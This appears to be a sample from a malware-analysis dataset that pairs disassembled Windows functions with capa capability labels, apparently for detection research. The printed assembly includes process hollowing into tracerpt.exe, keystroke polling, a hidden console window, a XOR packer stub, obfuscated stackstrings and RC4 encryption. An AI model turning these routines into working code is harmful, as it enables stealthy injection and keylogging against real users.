joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x404038
lea edi, [esi + 0x15c]
push edi
call fcn.00402b80
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x403f88
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x404032
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.00404150
mov eax, dword [esi + 0x60]
test eax, eax
je 0x403fc3
cmp dword [esi + 0x3c], 0
je 0x403fbc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x417440
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x403feb
mov edx, dword [esi + 0x48]
push edx
call fcn.00402c50
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x404000
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x404022
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.00404050
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x404420
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x404480
mov eax, esi
call fcn.00403f50
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.004034e0
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4044d9
cmp eax, 0x102
je 0x4044c5
cmp eax, 0xffffffff
jne 0x4044ce
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x404520
push 0
push 0
call fcn.004073ab
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405830
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x4191b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41c7d4]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.0040c810
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.0040c810
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.0040c810
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.004059f0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40591b
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.004059f0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x405950
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069a5
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x4059bc
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4059bc
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4059bc
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x4059cd
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004069a5
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004069a5
mov esp, ebp
pop ebp
ret
Function at 0x405e40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x41da8c], 0
jne 0x40611a
push esi
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj3_.9_.4202:zb0.1:bb
mov byte [0x41da8c], 1
call fcn.0040770f
push 0x12a0
push 0
push 0x41c7d8
call fcn.0040c810
push 0
push 0x41c7f6
push 0x4175ec
call fcn.00405d70
push 0
push 0x41c9f4
push 0x4175f4
call fcn.00405d70
push 0x41ca30
push 0
push 0x4175fc
call fcn.00405d70
push 0
push 0x41ca34
push 0x417604
call fcn.00405d70
add esp, 0x40
push 0
push 0x41cc32
push 0x41760c
call fcn.00405d70
push 0x41cc70
push 0
push 0x417614
call fcn.00405d70
push 0
push 0x41cc74
push 0x41761c
call fcn.00405d70
push 0
push 0x41ce72
push 0x417624
call fcn.00405d70
push 0x41ceb0
push 0
push 0x41762c
call fcn.00405d70
push 0
push 0x41ceb4
push 0x417634
call fcn.00405d70
add esp, 0x48
push 0
push 0x41cef0
push 0x41763c
call fcn.00405d70
push 0
push 0x41cf2c
push 0x417644
call fcn.00405d70
push 0
push 0x41cf90
push 0x41764c
call fcn.00405d70
push 0
push 0x41cff4
push 0x417654
call fcn.00405d70
push 0x41d058
push 0
push 0x41765c
call fcn.00405d70
push 0x41d05c
push 0
push 0x417664
call fcn.00405d70
add esp, 0x48
push 0x41d060
push 0
push 0x41766c
call fcn.00405d70
push 0x41d064
push 0
push 0x417674
call fcn.00405d70
push 0x41d068
push 0
push 0x41767c
call fcn.00405d70
push 0x41d06c
push 0
push 0x417684
call fcn.00405d70
push 0x41d070
push 0
push 0x41768c
call fcn.00405d70
push 0x41d074
push 0
push 0x417694
call fcn.00405d70
add esp, 0x48
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406042
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
cmp dword [ebp - 4], 0xa
jbe 0x406119
push 0x7d0
push 0
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj3_.9_.4202:zb0.1:bb
call fcn.0040c810
mov eax, dword [ebp - 0xc]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj3_.9_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
push eax
call esi
push 0
push 0x41c7f6
push 0x4175ec
call fcn.00405d70
push 0
push 0x41c9f4
push 0x4175f4
call fcn.00405d70
push 0x41ca30
push 0
push 0x4175fc
call fcn.00405d70
push 0
push 0x41ca34
push 0x417604
call fcn.00405d70
push 0
push 0x41cc32
push 0x41760c
call fcn.00405d70
push 0x41cc70
push 0
push 0x417614
call fcn.00405d70
add esp, 0x48
push 0
push 0x41cc74
push 0x41761c
call fcn.00405d70
push 0
push 0x41ce72
push 0x417624
call fcn.00405d70
push 0x41ceb0
push 0
push 0x41762c
call fcn.00405d70
add esp, 0x24
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406500
Capabilities:
Create thread
Hide graphical window

Disassembly:
push 0x4064e0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.00405e40
push 0
push 0
push 0
push 0x406120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x41da78], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x41da78]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
ret

Function at 0x4069a5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4191b4]
jne 0x4069af
repz ret
jmp fcn.00407929
Function at 0x40c4fc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4191b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409816
and dword [ebp - 0x14], 0
cmp dword [0x41b8f4], 0
mov dword [ebp - 0x18], eax
jne 0x40c5af
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c657
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40c657
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41b8f4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41b8f8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41b8fc], eax
call edi
push eax
call esi
mov dword [0x41b904], eax
test eax, eax
je 0x40c5af
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41b900], eax
mov eax, dword [0x41b900]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c608
cmp dword [0x41b904], ecx
je 0x40c608
push eax
call esi
push dword [0x41b904]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c608
test ebx, ebx
je 0x40c608
call edi
test eax, eax
je 0x40c5ff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c5ff
test byte [ebp - 8], 1
jne 0x40c608
or dword [ebp + 0x10], 0x200000
jmp 0x40c63b
mov eax, dword [0x41b8f8]
cmp eax, dword [ebp - 0x18]
je 0x40c63b
push eax
call esi
test eax, eax
je 0x40c63b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c63b
mov eax, dword [0x41b8fc]
cmp eax, dword [ebp - 0x18]
je 0x40c63b
push eax
call esi
test eax, eax
je 0x40c63b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41b8f4]
call esi
test eax, eax
je 0x40c657
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c659
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004069a5
leave
ret
Function at 0x408320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.004017a0
mov eax, dword [0x40c044]
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x25], 0x43445267
mov dword [ebp - 0x21], 0x51596d76
mov dword [ebp - 0x1d], 0x48495062
mov dword [ebp - 0x19], 0x46596569
mov dword [ebp - 0x15], 0x63764a74
mov dword [ebp - 0x11], 0x6c6c642e
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x25]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x4083ab
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_load_DLL._Error_code:__d_n
call fcn.00408434
mov eax, 1
jmp 0x40841a
mov dword [esp + 4], str.RMgBqsQEWNBwdCCsCEtu
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x408400
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_get_function_address._Error_code:__d_n
call fcn.00408434
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 1
jmp 0x40841a
mov eax, dword [ebp - 0x34]
call eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov eax, 0
mov edx, dword [ebp - 0xc]
sub edx, dword [0x40c044]
je 0x40842a
call fcn.004016b0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x771911e7
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x32ad1c84
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4a0df0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x605c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.005f93f7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4a0e72
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.005f63ff
mov eax, dword [eax]
push 0xf12cdc
push eax
call fcn.005e78c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.005f9682
test bl, bl
je 0x4a0e72
push 0xf12cdc
lea ecx, [esp + 0xc]
call fcn.005f9a12
push 0xf12ce8
lea ecx, [esp + 0xc]
call fcn.005f9a12
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA_1]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4a0eae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.005f9682
jmp 0x4a0f79
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA_1]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4a0f32
lea edx, [esp + 0x7c]
push 0xf12ce4
push edx
call fcn.005e78c4
add esp, 8
test eax, eax
je 0x4a0f32
lea eax, [esp + 0x7c]
push 0xf12ce0
push eax
call fcn.005e78c4
add esp, 8
test eax, eax
je 0x4a0f32
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA_1]
test eax, eax
jne 0x4a0ec2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose_1]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.005f9682
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4a1790
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA_1]
mov esi, eax
test esi, esi
jne 0x4a17f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA_1]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA_1]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey_1]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4a1800
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x605c9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0xf43408]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4a1938
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4a1866
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005f9682
xor eax, eax
jmp 0x4a19af
push 0xf12d24
lea ecx, [esp + 0xc]
call fcn.005f97bf
push esi
lea ecx, [esp + 0xc]
call fcn.005f9a4e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0xf12d1c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA_1]
mov esi, eax
cmp esi, 0x20
ja 0x4a198d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0xf12d14
push SysReAllocString
call fcn.004a1790
test eax, eax
jne 0x4a198d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA_1]
lea eax, [esp + 0x14]
push 0xf12d00
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.004a1790
test eax, eax
jne 0x4a198d
lea eax, [esp + 0x14]
push 0xf12cf8
push eax
call fcn.005e8a10
mov esi, eax
add esp, 8
test esi, esi
jne 0x4a196c
lea ecx, [esp + 0x14]
push 0xf12cf4
push ecx
call fcn.005e8990
mov esi, eax
add esp, 8
test esi, esi
jne 0x4a196c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA_1]
lea esi, [esp + eax + 0x13]
jmp 0x4a196f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.005f976f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4a187e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.005f9682
xor eax, eax
jmp 0x4a19af
mov byte [esi], 0
push 0xf12cf0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec_1]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.005f9682
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4b75b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState_1]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4b761e
cmp si, 0x69
ja 0x4b761e
add esi, 0xffd0
cmp si, 0x11
je 0x4b75ee
push 0x11
call edi
test ax, ax
jge 0x4b75ee
or esi, 0x2000
cmp si, 0x10
je 0x4b7603
push 0x10
call edi
test ax, ax
jge 0x4b7603
or esi, 0x4000
cmp si, 0x12
je 0x4b7618
push 0x12
call edi
test ax, ax
jge 0x4b7618
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4b762b
mov esi, 0xbd
jmp 0x4b75df
cmp si, 0x6e
jne 0x4b7638
mov esi, 0xbe
jmp 0x4b75df
cmp si, 0x6f
jne 0x4b75d9
mov esi, 0xbf
jmp 0x4b75df

Function at 0x4b91d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xf53d78]
xor edx, edx
cmp eax, edx
jne 0x4b91f6
xor eax, eax
mov byte [eax + 0xf53c78], al
inc eax
cmp eax, 0x100
jl 0x4b91de
mov dword [0xf53d78], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xf53c78
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4b9287
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4b925a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4b9228
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4b9290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4b92e3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4b92ca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret